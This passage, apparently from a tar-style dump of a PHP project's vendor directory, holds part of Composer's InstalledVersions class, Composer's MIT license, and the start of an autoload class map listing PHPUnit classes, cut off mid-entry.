array_keys(array_flip(\call_user_func_array('array_merge', $packages))); } /** * Returns a list of all package names with a specific type e.g. 'library' * * @param string $type * @return string[] * @psalm-return list */ public static function getInstalledPackagesByType($type) { $packagesByType = array(); foreach (self::getInstalled() as $installed) { foreach ($installed['versions'] as $name => $package) { if (isset($package['type']) && $package['type'] === $type) { $packagesByType[] = $name; } } } return $packagesByType; } /** * Checks whether the given package is installed * * This also returns true if the package name is provided or replaced by another package * * @param string $packageName * @param bool $includeDevRequirements * @return bool */ public static function isInstalled($packageName, $includeDevRequirements = true) { foreach (self::getInstalled() as $installed) { if (isset($installed['versions'][$packageName])) { return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']); } } return false; } /** * Checks whether the given package satisfies a version constraint * * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call: * * Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3') * * @param VersionParser $parser Install composer/semver to have access to this class and functionality * @param string $packageName * @param string|null $constraint A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package * @return bool */ public static function satisfies(VersionParser $parser, $packageName, $constraint) { $constraint = $parser->parseConstraints($constraint); $provided = $parser->parseConstraints(self::getVersionRanges($packageName)); return $provided->matches($constraint); } /** * Returns a version constraint representing all the range(s) which are installed for a given package * * It is easier to use this via isInstalled() with the $constraint argument if you need to check * whether a given version of a package is installed, and not just whether it exists * * @param string $packageName * @return string Version constraint usable with composer/semver */ public static function getVersionRanges($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } $ranges = array(); if (isset($installed['versions'][$packageName]['pretty_version'])) { $ranges[] = $installed['versions'][$packageName]['pretty_version']; } if (array_key_exists('aliases', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']); } if (array_key_exists('replaced', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']); } if (array_key_exists('provided', $installed['versions'][$packageName])) { $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']); } return implode(' || ', $ranges); } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present */ public static function getVersion($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['version'])) { return null; } return $installed['versions'][$packageName]['version']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present */ public static function getPrettyVersion($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['pretty_version'])) { return null; } return $installed['versions'][$packageName]['pretty_version']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference */ public static function getReference($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } if (!isset($installed['versions'][$packageName]['reference'])) { return null; } return $installed['versions'][$packageName]['reference']; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @param string $packageName * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path. */ public static function getInstallPath($packageName) { foreach (self::getInstalled() as $installed) { if (!isset($installed['versions'][$packageName])) { continue; } return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null; } throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); } /** * @return array * @psalm-return array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string} */ public static function getRootPackage() { $installed = self::getInstalled(); return $installed[0]['root']; } /** * Returns the raw installed.php data for custom implementations * * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect. * @return array[] * @psalm-return array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array} */ public static function getRawData() { @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED); if (null === self::$installed) { // only require the installed.php file if this file is loaded from its dumped location, // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 if (substr(__DIR__, -8, 1) !== 'C') { self::$installed = include __DIR__ . '/installed.php'; } else { self::$installed = array(); } } return self::$installed; } /** * Returns the raw data of all installed.php which are currently loaded for custom implementations * * @return array[] * @psalm-return list}> */ public static function getAllRawData() { return self::getInstalled(); } /** * Lets you reload the static array from another file * * This is only useful for complex integrations in which a project needs to use * this class but then also needs to execute another project's autoloader in process, * and wants to ensure both projects have access to their version of installed.php. * * A typical case would be PHPUnit, where it would need to make sure it reads all * the data it needs from this class, then call reload() with * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure * the project in which it runs can then also use this class safely, without * interference between PHPUnit's dependencies and the project's dependencies. * * @param array[] $data A vendor/composer/installed.php data set * @return void * * @psalm-param array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array} $data */ public static function reload($data) { self::$installed = $data; self::$installedByVendor = array(); } /** * @return array[] * @psalm-return list}> */ private static function getInstalled() { if (null === self::$canGetVendors) { self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders'); } $installed = array(); if (self::$canGetVendors) { foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) { if (isset(self::$installedByVendor[$vendorDir])) { $installed[] = self::$installedByVendor[$vendorDir]; } elseif (is_file($vendorDir.'/composer/installed.php')) { $installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir.'/composer/installed.php'; if (null === self::$installed && strtr($vendorDir.'/composer', '\\', '/') === strtr(__DIR__, '\\', '/')) { self::$installed = $installed[count($installed) - 1]; } } } } if (null === self::$installed) { // only require the installed.php file if this file is loaded from its dumped location, // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 if (substr(__DIR__, -8, 1) !== 'C') { self::$installed = require __DIR__ . '/installed.php'; } else { self::$installed = array(); } } $installed[] = self::$installed; return $installed; } } res/readability/vendor/composer/LICENSE000064400000002056147577714370014010 0ustar00 Copyright (c) Nils Adermann, Jordi Boggiano Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. res/readability/vendor/composer/autoload_classmap.php000064400000237521147577714370017216 0ustar00 $vendorDir . '/composer/InstalledVersions.php', 'PHPUnit\\Exception' => $vendorDir . '/phpunit/phpunit/src/Exception.php', 'PHPUnit\\Framework\\ActualValueIsNotAnObjectException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/ActualValueIsNotAnObjectException.php', 'PHPUnit\\Framework\\Assert' => $vendorDir . '/phpunit/phpunit/src/Framework/Assert.php', 'PHPUnit\\Framework\\AssertionFailedError' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/AssertionFailedError.php', 'PHPUnit\\Framework\\CodeCoverageException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/CodeCoverageException.php', 'PHPUnit\\Framework\\ComparisonMethodDoesNotAcceptParameterTypeException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotAcceptParameterTypeException.php', 'PHPUnit\\Framework\\ComparisonMethodDoesNotDeclareBoolReturnTypeException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareBoolReturnTypeException.php', 'PHPUnit\\Framework\\ComparisonMethodDoesNotDeclareExactlyOneParameterException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareExactlyOneParameterException.php', 'PHPUnit\\Framework\\ComparisonMethodDoesNotDeclareParameterTypeException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareParameterTypeException.php', 'PHPUnit\\Framework\\ComparisonMethodDoesNotExistException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotExistException.php', 'PHPUnit\\Framework\\Constraint\\ArrayHasKey' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Traversable/ArrayHasKey.php', 'PHPUnit\\Framework\\Constraint\\BinaryOperator' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Operator/BinaryOperator.php', 'PHPUnit\\Framework\\Constraint\\Callback' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Callback.php', 'PHPUnit\\Framework\\Constraint\\ClassHasAttribute' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Object/ClassHasAttribute.php', 'PHPUnit\\Framework\\Constraint\\ClassHasStaticAttribute' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Object/ClassHasStaticAttribute.php', 'PHPUnit\\Framework\\Constraint\\Constraint' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Constraint.php', 'PHPUnit\\Framework\\Constraint\\Count' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Cardinality/Count.php', 'PHPUnit\\Framework\\Constraint\\DirectoryExists' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Filesystem/DirectoryExists.php', 'PHPUnit\\Framework\\Constraint\\Exception' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Exception/Exception.php', 'PHPUnit\\Framework\\Constraint\\ExceptionCode' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionCode.php', 'PHPUnit\\Framework\\Constraint\\ExceptionMessage' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionMessage.php', 'PHPUnit\\Framework\\Constraint\\ExceptionMessageRegularExpression' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionMessageRegularExpression.php', 'PHPUnit\\Framework\\Constraint\\FileExists' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Filesystem/FileExists.php', 'PHPUnit\\Framework\\Constraint\\GreaterThan' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Cardinality/GreaterThan.php', 'PHPUnit\\Framework\\Constraint\\IsAnything' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/IsAnything.php', 'PHPUnit\\Framework\\Constraint\\IsEmpty' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Cardinality/IsEmpty.php', 'PHPUnit\\Framework\\Constraint\\IsEqual' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqual.php', 'PHPUnit\\Framework\\Constraint\\IsEqualCanonicalizing' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualCanonicalizing.php', 'PHPUnit\\Framework\\Constraint\\IsEqualIgnoringCase' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualIgnoringCase.php', 'PHPUnit\\Framework\\Constraint\\IsEqualWithDelta' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualWithDelta.php', 'PHPUnit\\Framework\\Constraint\\IsFalse' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Boolean/IsFalse.php', 'PHPUnit\\Framework\\Constraint\\IsFinite' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Math/IsFinite.php', 'PHPUnit\\Framework\\Constraint\\IsIdentical' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/IsIdentical.php', 'PHPUnit\\Framework\\Constraint\\IsInfinite' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Math/IsInfinite.php', 'PHPUnit\\Framework\\Constraint\\IsInstanceOf' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Type/IsInstanceOf.php', 'PHPUnit\\Framework\\Constraint\\IsJson' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/String/IsJson.php', 'PHPUnit\\Framework\\Constraint\\IsNan' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Math/IsNan.php', 'PHPUnit\\Framework\\Constraint\\IsNull' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Type/IsNull.php', 'PHPUnit\\Framework\\Constraint\\IsReadable' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Filesystem/IsReadable.php', 'PHPUnit\\Framework\\Constraint\\IsTrue' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Boolean/IsTrue.php', 'PHPUnit\\Framework\\Constraint\\IsType' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Type/IsType.php', 'PHPUnit\\Framework\\Constraint\\IsWritable' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Filesystem/IsWritable.php', 'PHPUnit\\Framework\\Constraint\\JsonMatches' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/JsonMatches.php', 'PHPUnit\\Framework\\Constraint\\JsonMatchesErrorMessageProvider' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/JsonMatchesErrorMessageProvider.php', 'PHPUnit\\Framework\\Constraint\\LessThan' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Cardinality/LessThan.php', 'PHPUnit\\Framework\\Constraint\\LogicalAnd' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalAnd.php', 'PHPUnit\\Framework\\Constraint\\LogicalNot' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalNot.php', 'PHPUnit\\Framework\\Constraint\\LogicalOr' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalOr.php', 'PHPUnit\\Framework\\Constraint\\LogicalXor' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalXor.php', 'PHPUnit\\Framework\\Constraint\\ObjectEquals' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Object/ObjectEquals.php', 'PHPUnit\\Framework\\Constraint\\ObjectHasAttribute' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Object/ObjectHasAttribute.php', 'PHPUnit\\Framework\\Constraint\\Operator' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Operator/Operator.php', 'PHPUnit\\Framework\\Constraint\\RegularExpression' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/String/RegularExpression.php', 'PHPUnit\\Framework\\Constraint\\SameSize' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Cardinality/SameSize.php', 'PHPUnit\\Framework\\Constraint\\StringContains' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/String/StringContains.php', 'PHPUnit\\Framework\\Constraint\\StringEndsWith' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/String/StringEndsWith.php', 'PHPUnit\\Framework\\Constraint\\StringMatchesFormatDescription' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/String/StringMatchesFormatDescription.php', 'PHPUnit\\Framework\\Constraint\\StringStartsWith' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/String/StringStartsWith.php', 'PHPUnit\\Framework\\Constraint\\TraversableContains' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContains.php', 'PHPUnit\\Framework\\Constraint\\TraversableContainsEqual' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsEqual.php', 'PHPUnit\\Framework\\Constraint\\TraversableContainsIdentical' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsIdentical.php', 'PHPUnit\\Framework\\Constraint\\TraversableContainsOnly' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsOnly.php', 'PHPUnit\\Framework\\Constraint\\UnaryOperator' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Operator/UnaryOperator.php', 'PHPUnit\\Framework\\CoveredCodeNotExecutedException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/CoveredCodeNotExecutedException.php', 'PHPUnit\\Framework\\DataProviderTestSuite' => $vendorDir . '/phpunit/phpunit/src/Framework/DataProviderTestSuite.php', 'PHPUnit\\Framework\\Error' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/Error.php', 'PHPUnit\\Framework\\ErrorTestCase' => $vendorDir . '/phpunit/phpunit/src/Framework/ErrorTestCase.php', 'PHPUnit\\Framework\\Error\\Deprecated' => $vendorDir . '/phpunit/phpunit/src/Framework/Error/Deprecated.php', 'PHPUnit\\Framework\\Error\\Error' => $vendorDir . '/phpunit/phpunit/src/Framework/Error/Error.php', 'PHPUnit\\Framework\\Error\\Notice' => $vendorDir . '/phpunit/phpunit/src/Framework/Error/Notice.php', 'PHPUnit\\Framework\\Error\\Warning' => $vendorDir . '/phpunit/phpunit/src/Framework/Error/Warning.php', 'PHPUnit\\Framework\\Exception' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/Exception.php', 'PHPUnit\\Framework\\ExceptionWrapper' => $vendorDir . '/phpunit/phpunit/src/Framework/ExceptionWrapper.php', 'PHPUnit\\Framework\\ExecutionOrderDependency' => $vendorDir . '/phpunit/phpunit/src/Framework/ExecutionOrderDependency.php', 'PHPUnit\\Framework\\ExpectationFailedException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/ExpectationFailedException.php', 'PHPUnit\\Framework\\IncompleteTest' => $vendorDir . '/phpunit/phpunit/src/Framework/IncompleteTest.php', 'PHPUnit\\Framework\\IncompleteTestCase' => $vendorDir . '/phpunit/phpunit/src/Framework/IncompleteTestCase.php', 'PHPUnit\\Framework\\IncompleteTestError' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/IncompleteTestError.php', 'PHPUnit\\Framework\\InvalidArgumentException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/InvalidArgumentException.php', 'PHPUnit\\Framework\\InvalidCoversTargetException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/InvalidCoversTargetException.php', 'PHPUnit\\Framework\\InvalidDataProviderException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/InvalidDataProviderException.php', 'PHPUnit\\Framework\\InvalidParameterGroupException' => $vendorDir . '/phpunit/phpunit/src/Framework/InvalidParameterGroupException.php', 'PHPUnit\\Framework\\MissingCoversAnnotationException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/MissingCoversAnnotationException.php', 'PHPUnit\\Framework\\MockObject\\Api' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Api/Api.php', 'PHPUnit\\Framework\\MockObject\\BadMethodCallException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/BadMethodCallException.php', 'PHPUnit\\Framework\\MockObject\\Builder\\Identity' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Builder/Identity.php', 'PHPUnit\\Framework\\MockObject\\Builder\\InvocationMocker' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Builder/InvocationMocker.php', 'PHPUnit\\Framework\\MockObject\\Builder\\InvocationStubber' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Builder/InvocationStubber.php', 'PHPUnit\\Framework\\MockObject\\Builder\\MethodNameMatch' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Builder/MethodNameMatch.php', 'PHPUnit\\Framework\\MockObject\\Builder\\ParametersMatch' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Builder/ParametersMatch.php', 'PHPUnit\\Framework\\MockObject\\Builder\\Stub' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Builder/Stub.php', 'PHPUnit\\Framework\\MockObject\\CannotUseAddMethodsException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/CannotUseAddMethodsException.php', 'PHPUnit\\Framework\\MockObject\\CannotUseOnlyMethodsException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/CannotUseOnlyMethodsException.php', 'PHPUnit\\Framework\\MockObject\\ClassAlreadyExistsException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/ClassAlreadyExistsException.php', 'PHPUnit\\Framework\\MockObject\\ClassIsFinalException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/ClassIsFinalException.php', 'PHPUnit\\Framework\\MockObject\\ConfigurableMethod' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/ConfigurableMethod.php', 'PHPUnit\\Framework\\MockObject\\ConfigurableMethodsAlreadyInitializedException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/ConfigurableMethodsAlreadyInitializedException.php', 'PHPUnit\\Framework\\MockObject\\DuplicateMethodException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/DuplicateMethodException.php', 'PHPUnit\\Framework\\MockObject\\Exception' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/Exception.php', 'PHPUnit\\Framework\\MockObject\\Generator' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Generator.php', 'PHPUnit\\Framework\\MockObject\\IncompatibleReturnValueException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/IncompatibleReturnValueException.php', 'PHPUnit\\Framework\\MockObject\\InvalidMethodNameException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/InvalidMethodNameException.php', 'PHPUnit\\Framework\\MockObject\\Invocation' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Invocation.php', 'PHPUnit\\Framework\\MockObject\\InvocationHandler' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/InvocationHandler.php', 'PHPUnit\\Framework\\MockObject\\MatchBuilderNotFoundException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/MatchBuilderNotFoundException.php', 'PHPUnit\\Framework\\MockObject\\Matcher' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Matcher.php', 'PHPUnit\\Framework\\MockObject\\MatcherAlreadyRegisteredException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/MatcherAlreadyRegisteredException.php', 'PHPUnit\\Framework\\MockObject\\Method' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Api/Method.php', 'PHPUnit\\Framework\\MockObject\\MethodCannotBeConfiguredException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/MethodCannotBeConfiguredException.php', 'PHPUnit\\Framework\\MockObject\\MethodNameAlreadyConfiguredException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/MethodNameAlreadyConfiguredException.php', 'PHPUnit\\Framework\\MockObject\\MethodNameConstraint' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/MethodNameConstraint.php', 'PHPUnit\\Framework\\MockObject\\MethodNameNotConfiguredException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/MethodNameNotConfiguredException.php', 'PHPUnit\\Framework\\MockObject\\MethodParametersAlreadyConfiguredException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/MethodParametersAlreadyConfiguredException.php', 'PHPUnit\\Framework\\MockObject\\MockBuilder' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/MockBuilder.php', 'PHPUnit\\Framework\\MockObject\\MockClass' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/MockClass.php', 'PHPUnit\\Framework\\MockObject\\MockMethod' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/MockMethod.php', 'PHPUnit\\Framework\\MockObject\\MockMethodSet' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/MockMethodSet.php', 'PHPUnit\\Framework\\MockObject\\MockObject' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/MockObject.php', 'PHPUnit\\Framework\\MockObject\\MockTrait' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/MockTrait.php', 'PHPUnit\\Framework\\MockObject\\MockType' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/MockType.php', 'PHPUnit\\Framework\\MockObject\\OriginalConstructorInvocationRequiredException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/OriginalConstructorInvocationRequiredException.php', 'PHPUnit\\Framework\\MockObject\\ReflectionException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/ReflectionException.php', 'PHPUnit\\Framework\\MockObject\\ReturnValueNotConfiguredException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/ReturnValueNotConfiguredException.php', 'PHPUnit\\Framework\\MockObject\\Rule\\AnyInvokedCount' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/AnyInvokedCount.php', 'PHPUnit\\Framework\\MockObject\\Rule\\AnyParameters' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/AnyParameters.php', 'PHPUnit\\Framework\\MockObject\\Rule\\ConsecutiveParameters' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/ConsecutiveParameters.php', 'PHPUnit\\Framework\\MockObject\\Rule\\InvocationOrder' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvocationOrder.php', 'PHPUnit\\Framework\\MockObject\\Rule\\InvokedAtIndex' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtIndex.php', 'PHPUnit\\Framework\\MockObject\\Rule\\InvokedAtLeastCount' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtLeastCount.php', 'PHPUnit\\Framework\\MockObject\\Rule\\InvokedAtLeastOnce' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtLeastOnce.php', 'PHPUnit\\Framework\\MockObject\\Rule\\InvokedAtMostCount' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtMostCount.php', 'PHPUnit\\Framework\\MockObject\\Rule\\InvokedCount' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedCount.php', 'PHPUnit\\Framework\\MockObject\\Rule\\MethodName' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/MethodName.php', 'PHPUnit\\Framework\\MockObject\\Rule\\Parameters' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/Parameters.php', 'PHPUnit\\Framework\\MockObject\\Rule\\ParametersRule' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Rule/ParametersRule.php', 'PHPUnit\\Framework\\MockObject\\RuntimeException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/RuntimeException.php', 'PHPUnit\\Framework\\MockObject\\SoapExtensionNotAvailableException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/SoapExtensionNotAvailableException.php', 'PHPUnit\\Framework\\MockObject\\Stub' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Stub.php', 'PHPUnit\\Framework\\MockObject\\Stub\\ConsecutiveCalls' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Stub/ConsecutiveCalls.php', 'PHPUnit\\Framework\\MockObject\\Stub\\Exception' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Stub/Exception.php', 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnArgument' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnArgument.php', 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnCallback' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnCallback.php', 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnReference' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnReference.php', 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnSelf' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnSelf.php', 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnStub' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnStub.php', 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnValueMap' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnValueMap.php', 'PHPUnit\\Framework\\MockObject\\Stub\\Stub' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Stub/Stub.php', 'PHPUnit\\Framework\\MockObject\\UnknownClassException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownClassException.php', 'PHPUnit\\Framework\\MockObject\\UnknownTraitException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownTraitException.php', 'PHPUnit\\Framework\\MockObject\\UnknownTypeException' => $vendorDir . '/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownTypeException.php', 'PHPUnit\\Framework\\MockObject\\Verifiable' => $vendorDir . 